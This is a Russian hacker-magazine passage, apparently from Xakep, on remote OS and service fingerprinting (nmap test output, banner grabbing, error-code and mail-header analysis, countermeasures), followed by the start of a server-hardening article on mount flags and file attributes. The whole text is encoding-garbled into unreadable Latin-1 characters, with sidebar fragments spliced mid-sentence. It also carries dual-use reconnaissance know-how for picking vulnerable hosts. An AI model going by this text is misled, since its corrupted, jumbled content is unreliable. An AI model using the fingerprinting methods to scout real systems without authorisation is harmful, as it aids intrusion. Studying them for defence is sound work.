ïðèìåðîì äàëåêî õîäèòü íå íàäî. «Xàêåð» íåäàâíî ïèñàë î âçëîìå
cygwin.com è ýêñïðîïðèàöèè îòòóäà âêóñíåéøåé áàçû äàííûõ. Âû-
ñîêîïðîôåññèîíàëüíûé àäìèí ýòîãî ñåðâåðà ïî÷åìó-òî ðåøèë íå
óêàçûâàòü âîîáùå íèêàêîãî ïàðîëÿ ê àäìèíèñòðàòîðñêîìó àêêàóí-
òó MySQL, ÷òî è ïîçâîëèëî íàøåìó ïàðòèçàíó ïðè ïîìîùè äåòñêî-
ãî áàãà â ñêðèïòå ñîâåðøèòü ñòîëü äåðçêóþ âûëàçêó».

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ



Àíàëèç òèïà
ñåðâèñà ìî-
æåò áûòü
çàòðóäíåí
ñìåíîé áàí-
íåðîâ, òåêñ-
òîâûõ êîì-
ìåíòàðèåâ è
êîäîâ îøè-
áîê.

Àíòîí Êàðïîâ (toxa@real.xakep.ru)

È äåÿ óäàëåííî îïðåäåëÿòü âåðñèþ ÎÑ èëè çàïóùåííîãî íà õîñòå ñåðâèñà íå íîâà. Âñå çíàþò, ÷òî ïîïóëÿðíûé ñêàíåð
nmap, áóäó÷è çàïóùåííûì ñ ïàðàìåòðîì -O, ïûòàåòñÿ îïðåäåëèòü âåðñèþ îïåðàöèîíêè. Èçâåñòíî òàêæå, ÷òî îêîëî

ãîäà íàçàä òîò æå nmap íàó÷èëñÿ îïðåäåëÿòü è âåðñèè ñåðâèñîâ, çàïóùåííûõ íà ñêàíèðóåìîì õîñòå. Íàøà çàäà÷à -
ïîíÿòü òåõíîëîãèþ ðàáîòû ñêàíåðà, à òàêæå óáåäèòüñÿ â òîì, ÷òî îäíèì ëèøü nmap'îì ïîíÿòèå fingerprinting íå
îãðàíè÷èâàåòñÿ.

ÑÅÒÅÂÀß
ÄÀÊÒÈËÎÑÊÎÏÈß
ÒÅÕÍÎËÎÃÈß REMOTE FINGERPRINTING

ÏÀÊÅÒÍÛÅ ÈÃÐÛ
Ñêàíåð nmap, çàïó-

ùåííûé ñ ïîâûøåííîé
âåðáîçíîñòüþ (ïàðà-
ìåòð -vvv), âûäàåò ïðè-

ìåðíî ñëåäóþùåå:

TCP/IP fingerprint:
SInfo(V=3.55%P=i386-portbld-
freebsd6.0%D=7/29%Time=410833C8%O=21
%C=-1)
T1(Resp=Y%DF=Y%W=FFFF%ACK=S++%Flags
=AS%Ops=MNWNNT)
T2(Resp=N)
T3(Resp=N)
T4(Resp=Y%DF=Y%W=0%ACK=S++%Flags=R
%Ops=) 
T5(Resp=N)
T6(Resp=N)
T7(Resp=N)
PU(Resp=N)

Ìíîãèå íå îáðàùàþò âíèìàíèÿ, à
âåäü â ýòîì êàæóùåìñÿ ìóñîðå è ñî-
äåðæèòñÿ âñÿ ñåðìÿæíàÿ ïðàâäà îá
îïåðàöèîíêå. Ýòî ðåçóëüòàòû âîñüìè
òåñòîâ äëÿ îïðåäåëåíèÿ âåðñèè ÎÑ; èõ,
ðàçóìååòñÿ, íàìíîãî áîëüøå, íî ìû
ðàññìîòðèì òîëüêî ñòàíäàðòíûå. Íèê-
òî íå ñìîæåò ðàññêàçàòü î íèõ áîëåå
ïîäðîáíî, ÷åì Fyodor â ñâîåé ñòàòüå,
êîòîðàÿ áûëà îïóáëèêîâàíà â åçèíå
Phrack #54 â äàëåêîì 1998 ãîäó.

Ïåðâàÿ ñòðî÷êà - ïðîñòî èíôîðìà-
öèÿ î ñèñòåìå, íà êîòîðîé ðàáîòàåò
nmap, âåðñèÿ ñêàíåðà, îñè, íà êîòîðîé
îí ñîáðàí, è ò.ï.

Äàëåå èäåò íàáîð èç ñåìè òåñòîâ (T1-
T7), êàæäûé èç êîòîðûõ çàêëþ÷àåòñÿ
â ïîñûëêå ñïåöèàëüíî ñôîðìèðîâàí-
íîãî TCP-ïàêåòà íà öåëåâîé õîñò è
èçó÷åíèè îòâåòà. 

Èòàê, ïåðâûé òåñò � ýòî îòïðàâêà ïà-
êåòà ñ óñòàíîâëåííûì ôëàãîì SYN íà
îòêðûòûé ïîðò. Ýòî øòàòíûé çàïðîñ, è
ñèñòåìà îáÿçàíà íà íåãî ïðîðåàãèðî-
âàòü. Îòâåò (â ñêîáêàõ) èíòåðïðåòèðó-
åòñÿ ñëåäóþùèì îáðàçîì. Resp=Y îç-
íà÷àåò, ÷òî îò ñèñòåìû áûë ïîëó÷åí
îòâåò. DF=Y îçíà÷àåò, ÷òî áèò Don't
Fragment, âûñòàâëåííûé â îòïðàâëåí-
íîì ïàêåòå, ñîõðàíèëñÿ. W - ðàçìåð
îêíà (Window Size) óäàëåííîé ñèñòå-
ìû. ACK - çíà÷åíèå Acknowledge

Number â îòâåòíîì ïàêåòå, S++ ãîâî-
ðèò î òîì, ÷òî îíî áûëî ðàâíî ïîëó-
÷åííîìó ISN (Initial Sequence Number),
óâåëè÷åííîìó íà 1. Flags - ôëàãè â îò-
âåòíîì ïàêåòå (â íàøåì ñëó÷àå ýòî
SYN+ACK). Ops - TCP-îïöèè (âðåìåí-
íàÿ ìåòêà, Max Segment Size è ïðî-
÷åå), äëÿ nmap âàæíî íå òîëüêî èõ íà-
ëè÷èå, íî è ïîðÿäîê ñëåäîâàíèÿ -
<MSS><NOOP><WindowScale><NOOP><N
OOP><TimeStamp>. 

Âòîðîé è òðåòèé òåñòû (T2 è T3) ïî-
ñûëàþò NULL-ïàêåò (áåç åäèíîãî ôëà-
ãà) è ïàêåò ñ óñòàíîâëåííûìè ôëàãà-
ìè SYN, FIN, PSH è URG íà îòêðûòûé
ïîðò. Êàê âèäíî, ñèñòåìà íå îòâåòèëà
íà ýòè çàïðîñû (Resp=N).

T4 - îòïðàâêà íà îòêðûòûé ïîðò ïà-
êåòà ñ óñòàíîâëåííûì ôëàãîì ACK.
Ïî ñòàíäàðòó, îïèñàííîìó â äîêóìåí-
òàõ RFC, ñèñòåìà äîëæíà îòâåòèòü
RST-ïàêåòîì, òàê êàê îòïðàâëÿåìîå
ñêàíåðîì "ïîäòâåðæäåíèå"
(Acknowledgment) íå ñâÿçàíî íè ñ îä-
íèì ñåàíñîì. Îòâåò ïîëó÷åí (Resp=Y),
áèò Don't Fragment âûñòàâëåí, ðàçìåð
îêíà - 0, èç TCP-ôëàãîâ óñòàíîâëåí
òîëüêî RST (Reset connection), ÷åãî è
ñëåäîâàëî îæèäàòü. 

Òåñòû 5, 6 è 7 - òàêæå èç ñåðèè "íå-
íîðìàëüíûõ". Ïÿòûé òåñò (T5) îòïðàâ-
ëÿåò ïàêåò ñ ôëàãîì SYN (íî áåç ACK)

íà çàêðûòûé ïîðò ìàøèíû. Øåñòîé -
òî æå ñàìîå, òîëüêî òåïåðü âìåñòî
SYN óñòàíîâëåí ACK. Ñåäüìîé - îòï-
ðàâêà ïàêåòà ñ âûñòàâëåííûìè ôëàãà-
ìè FIN, PSH, URG âñå íà òîò æå çàêðû-
òûé ïîðò. Íàêîíåö, ïîñëåäíèé òåñò
(PU) - îòïðàâêà ICMP-ñîîáùåíèÿ Port
Unreachable íà çàêðûòûé ïîðò óäà-
ëåííîé ìàøèíû. 

Â ÷åòûðåõ ïîñëåäíèõ ñëó÷àÿõ îòâåò
îò õîñòà íå áûë ïîëó÷åí, íî, òàê êàê
ÎÑ âñå ðàâíî îïîçíàíà êàê FreeBSD,
ìîæíî ñäåëàòü âûâîä, ÷òî àäìèí
âêëþ÷èë tcp & udp blackholes (sysctl -w
net.inet.tcp.blackhole=2, sysctl -w
net.inet.udp.blackhole=1), ìåòîä, ïðè êî-
òîðîì FreeBSD ñòàðàòåëüíî èãíîðèðó-
åò ïðîâîêàöèè åå íåïðàâèëüíûìè ïà-
êåòàìè. Äîãàäêà âåðíàÿ, âåäü àäìèí -
ÿ ;). Êñòàòè, ïîìíè, ÷òî íåñàíêöèîíè-
ðîâàííîå ñêàíèðîâàíèå ÷àñòî ôîð-
ìàëüíî ñ÷èòàåòñÿ ïîïûòêîé ïðîíèê-
íîâåíèÿ. 

ÁÀÍÍÅÐÛ
Ñàìûé ïðîñòîé ñïîñîá fingerprint-

ing, íå òðåáóþùèé íèêàêèõ íåñòàíäà-
ðòíûõ èíñòðóìåíòîâ, - ýòî ñáîð áàííå-
ðîâ (banner grabbing). Ñåðâèñû (www,
ftp, smtp, pop3) ãîòîâû ðàññêàçàòü î
ñåáå âñå â îòâåò íà ïðîñòîå ïîäêëþ-
÷åíèå òåëíåòîì:
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Îò ñêàíèðî-
âàíèÿ
nmap'îì
ìîãóò ïî-
ìî÷ü ìåõà-
íèçìû â
OpenBSD
PF, íîðìà-
ëèçóþùèå
òðàôèê.

Ñòàòüþ
Fyodor`a,
ïåðåâåäåí-
íóþ íà ðóñ-
ñêèé ÿçûê,
ìîæíî íàé-
òè ïî àäðå-
ñó
http://www.
insecure.org
/nmap/nmap
-fingerprint-
ing-article-
ru.html.

ID-òåãè

ÑÅÒÅÂÀß ÄÀÊÒÈËÎÑÊÎÏÈß68 ÂÇËÎÌ



Òåõíîëîãèÿ
remote fin-
gerprinting
õîðîøî çà-
ðåêîìåíäî-
âàëà ñåáÿ
ïðè ïðîèç-
âîäñòâå àâ-
òîðóòå-
ðîâ/àâòîýê-
ñïëîèòîâ.
Ïîäîáíûì
ïðîãðàììàì
î÷åíü ïî-
ëåçíî áûâà-
åò ñíà÷àëà
ïðîâåðèòü
âåðñèþ ñåð-
âèñà èëè
ÎÑ, à óæ
ïîòîì ïðè-
ìåíÿòü
ýêñïëîèò.

[(2:00)(258.29%)(p2):~ ] telnet www.berke-
ley.edu 80

Trying 169.229.131.109...
Connected to arachne.berkeley.edu.
Escape character is '^]'.
HEAD / HTTP/1.0

HTTP/1.1 403 Forbidden
Date: Tue, 24 Aug 2004 22:04:03 GMT
Server: Stronghold/3.0 Apache/1.3.22

RedHat/3017c (Unix) PHP/4.3.3 mod_ssl/2.8.7
OpenSSL/0.9.6 mod_perl/1.25

Connection: close
Content-Type: text/html; charset=iso-

8859-1

Îäíàêî ìíîãèå ñåðâèñû ïîçâîëÿþò
øòàòíûì îáðàçîì ñìåíèòü áàííåð, òàê
÷òî äàííûé ìåòîä íåëüçÿ íàçâàòü íà-
äåæíûì. Ê òîìó æå, äàëåêî íå âñå ñåð-
âèñû ïîçâîëÿþò âåñòè äèàëîã â ïî-
äîáíîì plain-text ðåæèìå. È åñëè äàæå
nmap î÷åíü ÷àñòî ñ÷èòàåò äîñòàòî÷-
íûì çàïðîñèòü áàííåð, ãðåøà òî÷íûì
îïðåäåëåíèåì FTP èëè DNS-ñåðâåðà,
òî êàê æå, íàïðèìåð, ïîïóëÿðíûé ñêà-
íåð XSpider (www.ptsecurity.ru) òî÷íî
îòëè÷àåò Postfix îò Sendmal, à vsftpd
îò proftpd?

Äåëî â òîì, ÷òî â äîêóìåíòàõ RFC,
îïèñûâàþùèõ ïîâåäåíèå ñåðâåðîâ,
åñòü óêàçàíèÿ ëèøü ïî êîäàì âûäàâà-
åìûõ â îòâåò íà çàïðîñû êëèåíòîâ
îøèáîê, íî íå íàêëàäûâàåòñÿ íèêàêî-
ãî îãðàíè÷åíèÿ íà òåêñòîâóþ èíôîð-
ìàöèîííóþ ñîñòàâëÿþùóþ. Òàê, íà
îäíó è òó æå íåâåðíóþ êîìàíäó
Postfix îòâåòèò 500 Error: bad syntax,
òîãäà êàê Sendmail - 500 5.5.1
Command unrecognized:
"COMMAND_YOU_TYPE". Ïîìó÷èâ
ñåðâåð çàïðîñàìè è ñîáðàâ áàçó
âîçâðàùåííûõ êîäîâ, ìîæíî ñ äîñòà-
òî÷íîé òî÷íîñòüþ îïðåäåëèòü âåðñèþ
ñåðâèñà.

Íî èíîãäà âñå áûâàåò åùå ïðîùå, è
âìåñòå ñ ñåðâèñîì ñòàíîâèòñÿ èçâåñò-
íà âåðñèÿ ÎÑ. Îñîáåííî ýòèì ãðåøàò
FTP-ñåðâåðà:

[(3:51)(85.32%)(p1):~ ] ftp
toxa@19X.XX.1.20X

Connected to 19X.XX.1.20X.
220 beast FTP server (Version 1.7.212.1 Sat

Feb  1 01:30:15 GMT 1997) ready.
331 Password required for toxa.
Password:
230 User toxa logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> syst
215 UNIX Type: SUNOS
ftp> quit
221 Goodbye.

Êàê âèäíî, FTP-ñåðâåð íå òîëüêî ñî-
îáùèë, ÷òî óæå ñåìü ëåò æäåò ýêñïëî-
èòà, íî è çàîäíî ïðèçíàëñÿ, ÷òî çàïó-
ùåí íà ñîëÿðêå.

Äëÿ ñåðâèñîâ, òåêñòîâûé äèàëîã ñ
êîòîðûìè íåâîçìîæåí, (íàïðèìåð,
DNS-ñåðâåð) ïðèìåíÿåòñÿ òà æå òåõíî-
ëîãèÿ: íà ñåðâåð ïîñûëàþòñÿ íåâåð-

íûå çàïðîñû è àíàëèçèðóþòñÿ îòâåò-
íûå ïàêåòû. Ïðîñòî ðåàëèçàöèÿ òàêî-
ãî àíàëèçà íåìíîãî ñëîæíåå.

ÏÀÑÑÈÂÍÛÉ FINGERPRINTING
Êàê íàñ÷åò òîãî, ÷òîáû îïðåäå-

ëèòü âåðñèþ ñåðâèñà, íå ïîñëàâ íà
öåëåâîé õîñò íè åäèíîãî ïàêåòà? Íà
óì ñðàçó æå ïðèõîäÿò áàíàëüíûé ñíè-
ôåð íà ïóòè äî õîñòà è äàëüíåéøèé
àíàëèç ïåðåõâà÷åííûõ ïàêåòîâ. Òàêèå
òåõíîëîãèè ïðèìåíÿþòñÿ óæå äàâíî
(http://project.honeynet.org/papers/finger/) è
ðàáîòàþò ïî òîìó æå ïðèíöèïó, ÷òî è
nmap (àíàëèçèðóþòñÿ ïîëÿ â çàãîëîâ-
êàõ ïàêåòà).

Äëÿ SMTP-ñåðâåðîâ ñóùåñòâóþò ìå-
òîäû, íå òðåáóþùèå íè÷åãî, êðîìå îä-
íîãî ïèñüìà, ïðîøåäøåãî ÷åðåç öåëå-
âîé ñåðâåð. Ìíîãèå ñåðâåðà âñòàâëÿ-
þò â ïèñüìà êðàñíîðå÷èâûå ðàáî÷èå
çàãîëîâêè:

Received: from xxx@xxx.ru by
mercury.xxxxxx.ru by uid 0 with qmail-scan-
ner-1.22

(clamscan: 0.75. spamassassin: 2.63.
Clear:RC:0(xx3.1xx.8x.14xx):SA:0(0.0/7.0):

Ïî íèì ìû ñðàçó îïðåäåëÿåì, ÷òî íà
ñåðâåðå êðóòèòñÿ qmail, ñäîáðåííûé
ñîëÿíêîé èç qmail-scanner è
SpamAssassin. 

Åñòü ýëåãàíòíûé ñïîñîá, îïèñàííûé
ðîññèéñêîé security-ãðóïïîé UkR
Security Team (http://www.securitylab.ru/
46232.html). Îí îñíîâàí íà àíàëèçå ID-
òåãà â çàãîëîâêå ïèñüìà. Êàê è â ñëó-
÷àå ñ êîäîì îøèáêè, RFC íå íàêëàäû-
âàåò íèêàêèõ îãðàíè÷åíèé íà àëãî-
ðèòì ãåíåðàöèè ID è êàæäûé âåíäîð
âûáèðàåò åãî ïî ñâîåìó óñìîòðåíèþ.
Ñîñòàâèâ áàçó îòïå÷àòêîâ òåãîâ ðàç-
ëè÷íûõ ïî÷òîâûõ ñåðâåðîâ, ìîæíî
òî÷íî îòëè÷èòü òîò æå Postfix îò Exim,
íå ïîñëàâ æåðòâå íè îäíîãî ïàêåòà!

ÏÐÎÒÈÂÎÄÅÉÑÒÂÈÅ
Ðàçóìååòñÿ, ñóùåñòâóåò ìíîæåñò-

âî ðàçíûõ ñïîñîáîâ çàùèòû îò finger-
printing. Îò ñêàíèðîâàíèÿ nmap'îì ìî-
ãóò ïîìî÷ü ìåõàíèçìû â OpenBSD PF
(block from any os NMAP, scrub in all),
êàê ïðîñòî íîðìàëèçóþùèå òðàôèê (à
çíà÷èò, ìàñêèðóþùèå "îñîáåííîñòè"
ñèñòåì, ýòîò òðàôèê ãåíåðèðóþùèõ),
òàê è îïðåäåëÿþùèå ñêàíèðîâàíèå è
çàñòàâëÿþùèå nmap âûäàâàòü êàæ-
äûé ðàç ðàçíóþ ÷åïóõó. Ñèëüíî çàò-
ðóäíÿþò àíàëèç óæå óïîìÿíóòûå
ìíîé blackholes âî FreeBSD. Âåäü, ïî
ñóòè, èç âñåõ òåñòîâ ñêàíåðà òîëüêî
îäèí ýìóëèðóåò "íîðìàëüíûé" ñåàíñ
(SYN-ïàêåò íà îòêðûòûé ïîðò), âñå îñ-
òàëüíîå - îøèáî÷íûå ïàêåòû, ïðèç-
âàííûå èññëåäîâàòü ðåàêöèþ ñèñòå-
ìû íà ïîäîáíóþ "ïðîâîêàöèþ". Ñîîò-
âåòñòâåííî, íóæíî ñäåëàòü ñèñòåìó
êàê ìîæíî áîëåå "ìîë÷àëèâîé". 

Äëÿ Linux èìååòñÿ ïðîåêò IP
Personality (http://ippersonality.
sourceforge.net/) - ïàò÷ ê ÿäðó, èçìåíÿþ-
ùèé ïîâåäåíèå ñåòåâîãî ñòåêà è ïîç-
âîëÿþùèé çàìàñêèðîâàòü ñèñòåìó

ïîä âñå, ÷òî íå çàáëàãîðàññóäèòñÿ,
õîòü ïîä AIX, õîòü ïîä ïðèñòàâêó
Xbox.

Àíàëèç òèïà ñåðâèñà ìîæåò áûòü
çàòðóäíåí ñìåíîé áàííåðîâ, òåêñòî-
âûõ êîììåíòàðèåâ êîäîâ îøèáîê. Íèê-
òî íå ìåøàåò òåáå çàëåçòü â ñîðöû
ëþáèìîãî SMTP-ñåðâåðà è ðó÷êàìè ïî-
ìåíÿòü àëãîðèòì ãåíåðàöèè ID-òåãà :).

ÌÎÐÀËÜ ÑÅÉ ÁÀÑÍÈ
Fingerprinting � ÷åðòîâñêè ïîëåç-

íàÿ äëÿ âçëîìùèêà òåõíîëîãèÿ, îäíà-
êî îíà ñëóæèò íå äëÿ àòàêè íà ñâåðõ-
çàùèùåííûå ñèñòåìû, à ÿâëÿåòñÿ
ñïîñîáîì îïðåäåëåíèÿ óÿçâèìîé ìà-
øèíû â çàäàííîì äèàïàçîíå àäðåñîâ.
Íå äàðîì ðàçëè÷íûå ïðîÿâëåíèÿ ýòîé
òåõíîëîãèè ìîæíî âñòðåòèòü â àâòîðó-
òåðàõ, àâòîýêñïëîèòàõ èëè â îáû÷íûõ
(íî íàäî ïðèçíàòü, íå î÷åíü ïðîñòûõ)
ñêàíåðàõ áåçîïàñíîñòè. E
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Çäåñü æèâåò nmap

Ñàéò p0f, òåõíîëîãèè ïîÿâèâøèåñÿ â OpenBSD PF

Ïîääåëûâàåì áàííåð ftp-ñåðâåðà



îìíèøü èçâåñòíûå ñëîâà:
"Áåçîïàñíîñòü - ýòî íå
ïðîäóêò, à ïðîöåññ"? Òàê âîò,
áåçîïàñíîñòü êàê ïðîöåññ - íå
ñâîéñòâî ñèñòåìû, à ñâîéñòâî

âçàèìîäåéñòâèÿ ñèñòåìû è àäìèíà, êîòîðûé
åå íàñòðàèâàåò. 

Ìû ðàññìîòðèì òèïè÷íûé ñöåíàðèé óñòà-
íîâêè, íàñòðîéêè è ñîïðîâîæäåíèÿ ñåðâåðà ñ
òî÷êè çðåíèÿ security-ïàðàíîèêîâ. Ìíå íå õî-
òåëîñü áû äàâàòü ðàçðîçíåííûå ñîâåòû èç
ñåðèè "õîçÿéêå íà çàìåòêó", ïîýòîìó ìû
ïðîéäåì ïî øàãàì âñå ýòàïû îò óñòàíîâêè ÎÑ
äî çàïóñêà ñåðâèñîâ, îáðàùàÿ âíèìàíèå íà
âàæíûå ìîìåíòû. ß íå áóäó ïðåäëàãàòü
çäåñü äåòàëüíîå ðóêîâîäñòâî ïî íàñòðîéêå
êàæäîãî ñåðâèñà, à ëèøü äàì îáùèå ñîâåòû,
êîòîðûå íóæíî èìåòü â âèäó. Ïî ýòîé æå ïðè-
÷èíå ÿ íå çàâÿçûâàþñü íà êîíêðåòíóþ ÎÑ -
êòî-òî ëþáèò Linux, êòî-òî FreeBSD, à êòî-òî
ïî äîëãó ñëóæáû îáõàæèâàåò Solaris. Çàìå÷à-
íèÿ ïî îïðåäåëåííîé ÎÑ, åñëè òàêîâûå
âñòðåòÿòñÿ, áóäóò äàâàòüñÿ ïî õîäó.

ÑÏÀÑÈÒÅËÜÍÛÅ ÔËÀÃÈ
Âåñåëüå íà÷èíàåòñÿ óæå ïðè ðàçìåòêå

âèí÷åñòåðà íà ïàðòèöèè ïðè óñòàíîâêå ñèñ-
òåìû. Â Linux-ìèðå êàê-òî íå ïðèíÿòî îáðà-
ùàòü íà ýòî ñåðüåçíîå âíèìàíèå, è îäèí
áîëüøîé êîðíåâîé ðàçäåë (/) íà âñþ ñèñòåìó
òàì - íîðìà. Èíîãäà, ïðàâäà, âûäåëÿþò
/home. Íî ýòîãî âñå ðàâíî ìàëî. Íå çðÿ îïûò
ïîêîëåíèé ðåêîìåíäóåò èìåòü êàê ìèíèìóì
ñëåäóþùèå ðàçäåëû:

/ - êîðíåâîé;
/home - åñëè ñåðâåð áóäåò èìåòü ìíîãî

ïîëüçîâàòåëüñêèõ ó÷åòíûõ çàïèñåé (õîñòèíã,
õðàíåíèå ïî÷òû, FTP-àðõèâ, äà ïðàêòè÷åñêè
âñåãäà);

/tmp - îáÿçàòåëüíî âûäåëÿé /tmp â îòäåëü-
íûé ðàçäåë äèñêà;

/var - äëÿ õðàíåíèÿ ëîãîâ, ñïóëà ïî÷òû, áý-
êàïîâ è ïðî÷åãî ìóñîðà;

/usr - äëÿ èñïîëíÿåìûõ ôàéëîâ, áèáëèîòåê,
èñõîäíûõ òåêñòîâ ñèñòåìû.

Ïîëüçîâàòåëè BSD ìîãóò ïðî÷èòàòü áîëåå
ïîäðîáíîå îïèñàíèå èñòîðè÷åñêè ñëîæèâ-
øåéñÿ èåðàðõèè â man 7 hier, äëÿ îñòàëü-
íûõ ñèñòåì ñóùåñòâóåò ñõîæèé (õîòÿ è
ñïîðíûé) äîêóìåíò Filesystem Hierarchy
Standart (FHS, www.pathname.com/fhs). Íî
êàêîå ýòî èìååò îòíîøåíèå ê áåçîïàñíîñòè?

Äåëî â óäîáñòâå îïåðèðîâàíèÿ ôëàãàìè
ìîíòèðîâàíèÿ. Ëþáàÿ ôàéëîâàÿ ñèñòåìà
ïîçâîëÿåò óêàçàòü íàáîð ôëàãîâ, ñ êîòîðû-
ìè áóäåò ïðèìîíòèðîâàíà ñîîòâåòñòâóþùàÿ
ïàðòèöèÿ, è íåêîòîðûå èç íèõ èìåþò íåïîñ-
ðåäñòâåííîå îòíîøåíèå ê áåçîïàñíîñòè
ñèñòåìû. Ïîêàæó ýòî íà ïðèìåðå FFS (Fast
File System), ïðàêòè÷åñêè âñå îñòàëüíûå FS
èìåþò ñõîæèå ïî íàçâàíèþ ôëàãè (ñì. "man
mount" â ñâîåé ñèñòåìå).

noexec - çàïðåùàåò èñïîëíÿòü ôàéëû;
nosuid - çàïðåùàåò ïîâûøåíèå ïðèâèëåãèé

äëÿ èñïîëíÿåìûõ suid/sgid ôàéëîâ. Èíûìè
ñëîâàìè, òåðÿåòñÿ suid-áèò è ïðîãðàììà âû-
ïîëíÿåòñÿ êàê îáû÷íàÿ;

nosymfollow - çàïðåùàåò èñïîëüçîâàíèå
ñèìâîëè÷åñêèõ ("ìÿãêèõ") ññûëîê; 

nodev - çàïðåùàåò èñïîëüçîâàíèå ôàéëîâ
óñòðîéñòâ.

Â îáùåì ñëó÷àå îïåðàöèîíêå, áåçóñëîâíî,
íóæíî èìåòü âîçìîæíîñòü èñïîëíÿòü ôàé-
ëû. Òàêæå â ñèñòåìå îáÿçàòåëüíî ïðèñóò-
ñòâóåò íåêîòîðîå êîëè÷åñòâî ñóèäíûõ ïðîã-
ðàìì, äà è ññûëêè òîæå, êàê ïðàâèëî, èìåþò-
ñÿ. Íî åñòü ëè ñìûñë â ñóèäíûõ ôàéëàõ, íàï-
ðèìåð, â êàòàëîãå /tmp? ×àñòî õàêåðû áðîñà-
þò ñóèäíûé /bin/sh êóäà-íèáóäü â ñêëàäêè
/tmp èëè çäåñü æå êîìïèëèðóþò ýêñïëîèò,
ïîêà åùå íå èìåÿ ïðàâ ðóòà, íî íàäåÿñü èõ
ïîëó÷èòü. Òî æå êàñàåòñÿ è ïîëüçîâàòåëåé â
èõ äîìàøíèõ êàòàëîãàõ. Âðÿä ëè ñðåäíåñòà-
òèñòè÷åñêèé õîñòåð, äàþùèé ñâîèì êëèåíòàì
äîñòóï ïî ssh äëÿ ïðàâêè\çàëèâêè êîíòåíòà,
íóæäàåòñÿ â òîì, ÷òîáû ýòè êëèåíòû ÷òî-òî ó
ñåáÿ çàïóñêàëè èëè, òåì áîëåå, êîìïèëèðîâà-
ëè è çàòåì çàïóñêàëè. Ïîýòîìó î÷åíü ÷àñòî
íà /tmp è /home îïðàâäàíû ôëàãè nosuid, à
íåðåäêî è noexec. Â íåêîòîðûõ ñëó÷àÿõ îíè
ìîãóò ïîìåøàòü, íàïðèìåð, noexec íà /tmp
íå ïîçâîëèò ïåðåñîáðàòü ìèð (make world)
íà FreeBSD, íî ýòî íå áîëåå ÷åì êðàòêîâðå-
ìåííîå èñêëþ÷åíèå. Íåò íóæäû ïîÿñíÿòü,
÷òî â ñëó÷àå îäíîãî áîëüøîãî ðàçäåëà (/) òà-
êàÿ ìàíèïóëÿöèÿ ôëàãàìè áûëà áû èñêëþ÷å-
íà. Ñàì æå êîðíåâîé ðàçäåë, âêëþ÷àþùèé
êàòàëîãè ñ êîíôèãóðàöèîííûìè ôàéëàìè
ñèñòåìû, áàçîâûìè áèíàðíèêàìè, áèáëèîòå-
êàìè è ÿäðîì, âïîëíå ðåàëüíî ìîíòèðîâàòü â
ðåæèìå read-only. 

Íå ëèøåí ñìûñëà òàêæå òðþê ïðîòèâ çëî-
íàìåðåííûõ îïåðàöèé ñ ÿäðîì (òàêèõ, êàê åãî
ïåðåêîìïèëÿöèÿ è çàìåíà :)), çàêëþ÷àþùèé-
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Åùå îäíî
âåÿíèå ýïî-
õè ïàðàíîè-
êîâ - îòñëå-
æèâàíèå
ñèñòåìíûõ
âûçîâîâ,
ñîâåðøàå-
ìûõ ïðîã-
ðàììîé, è
äàëüíåéøåå
èõ îãðàíè-
÷åíèå.

ñÿ âîò â ÷åì. Êàòàëîã /boot, â êîòîðîì
íàõîäÿòñÿ ÿäðî, â ñëó÷àå BSD è ìîäó-
ëè ñ êîíôèãóðàöèîííûì ôàéëîì
loader.conf, à â ñëó÷àå Linux - ôàéë
ïðåäâàðèòåëüíîé çàãðóçêè ìîäóëåé
initrd, îôîðìëÿåòñÿ â âèäå îòäåëüíî-
ãî ðàçäåëà íà êàêîì-íèáóäü ñúåìíîì
íîñèòåëå (USB-ôëýøêà), ñ íåãî ïðîèç-
âîäèòñÿ çàãðóçêà, à çàòåì, ïîñëå çà-
ïóñêà ñèñòåìû è çàãðóçêè âñåõ ìîäó-
ëåé, ðàçäåë ðàçìîíòèðóåòñÿ è íîñè-

òåëü âûíèìàåòñÿ (êëàäåòñÿ â ñåéô :)).
Ïîäìåíèòü ÿäðî, initrd èëè ïîäñóíóòü
ìîäóëü ñòàíîâèòñÿ íà ïîðÿäîê ïðîá-
ëåìàòè÷íåé.

Ïîìèìî ôëàãîâ íà FS ñóùåñòâóþò
äîïîëíèòåëüíûå àòðèáóòû áåçîïàñ-
íîñòè íà ôàéëû. Â BSD àòðèáóòû âûñ-
òàâëÿþòñÿ è ïðîñìàòðèâàþòñÿ êîìàí-
äîé chflags(1), â Linux - chattr(1)/lsat-
tr(1). Òàê, èç ïîëåçíûõ ôëàãîâ
chfags(1) ìîæíî âûäåëèòü:

sappnd - ïîçâîëÿåò îòêðûâàòü ôàéë
òîëüêî â ðåæèìå "append only";

schg - âûñòàâëÿåò ôëàã "immutable",
òàêîé ôàéë íåëüçÿ ïåðåìåñòèòü, óäà-
ëèòü èëè ïåðåèìåíîâàòü;

sunlnk - çàïðåùàåò óäàëåíèå ôàé-
ëîâ. 

Ýòè ôëàãè èìååò ïðàâî âûñòàâ-
ëÿòü/ñíèìàòü òîëüêî ñóïåðïîëüçîâà-
òåëü. Íî äàæå åñëè âçëîìùèê ïîëó-
÷èë ïðàâà ðóòà, îíè ìîãóò ñïàñòè îò
êàòàñòðîôû, åñëè ïîìèìî ôëàãîâ
ïðèíÿòû äðóãèå ìåðû áåçîïàñíîñòè.

ÂÛÆÈÂÀÅÒ ÑÈËÜÍÅÉØÈÉ
Ïðè ñòàðòå ñèñòåìû çàïóñêàþòñÿ

âñåâîçìîæíûå ñåðâèñû. Êàêèå-òî ñèñ-
òåìû (OpenBSD) îòíîñÿòñÿ ê ýòîìó ìî-
ìåíòó î÷åíü îòâåòñòâåííî, çàïðåùàÿ
ïî óìîë÷àíèþ ïðàêòè÷åñêè âñå, êàêèå-
òî (áîëüøèíñòâî äèñòðèáóòèâîâ
Linux) äåéñòâóþò â ëó÷øèõ òðàäèöèÿõ
Windows-style, çàïóñêàÿ âñå, ÷òî ìî-
æåò êîãäà-ëèáî ïîíàäîáèòüñÿ. "ps
wax" ("ps -ef" â Solaris) ïîêàæåò òåáå,
êòî ïîíàïðàñíó ðàáîòàåò, à "sockstat -
l" (âî FreeBSD) è "netstat -na | grep
LISTEN" - êòî ïîíàïðàñíó áèíäèò ïîð-
òû, îæèäàÿ remote ýêñïëîèòà ïî ñâîþ
äóøó. Ðåêîìåíäóþ òàêæå è ïîëåçíóþ
óòèëèòó lsof (list of open files), êîòîðàÿ,
ñðîäíè bsd'øíîìó sockstat, ïîêàçûâà-
åò, êàêèå ñîêåòû èëè óñòðîéñòâà îòê-
ðûòû îïðåäåëåííûìè ïðîöåññàìè. Íè-
